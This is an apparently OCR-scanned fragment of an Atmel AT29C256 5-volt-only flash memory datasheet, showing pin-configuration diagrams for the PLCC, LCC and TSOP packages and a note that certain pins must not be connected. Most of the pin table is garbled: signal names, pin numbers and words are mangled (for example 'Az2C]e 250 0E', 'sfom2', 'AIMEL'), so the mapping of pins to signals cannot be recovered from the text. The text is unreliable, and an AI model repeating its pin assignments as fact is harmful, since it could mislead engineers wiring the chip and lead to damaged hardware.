NC No Connect vo2(]13 161104
GNDC] 14 15 103
DC Don’t Connect
PLCC and LCC Top View TSOP Top View
SHEH Type 1
¥xE5>2x =
As:s'““ag;gmju 21 A0
AsCl6 28[1A9 20/ ¢E
a7 271 19[S vo7
A3Cls 26 ]NE 18| v06
Az2C]e 250 0E 17| v0s
A0 24 A0 16/ V04
Ao 23[1CE 15 vos
et 12 2o 14[26ND
VOOL{13, ) o ¢ o o 21108 13[vo2
Ty 2[ovor
58288388 HEry
9l oA1
Note: PLCC package pins 1 and 17 are sfom2

DON'T CONNECT.

AIMEL

I

5-volt Only

Flash Memory

AT29C256

Rev. 00460-FLASH-06/02

X
<
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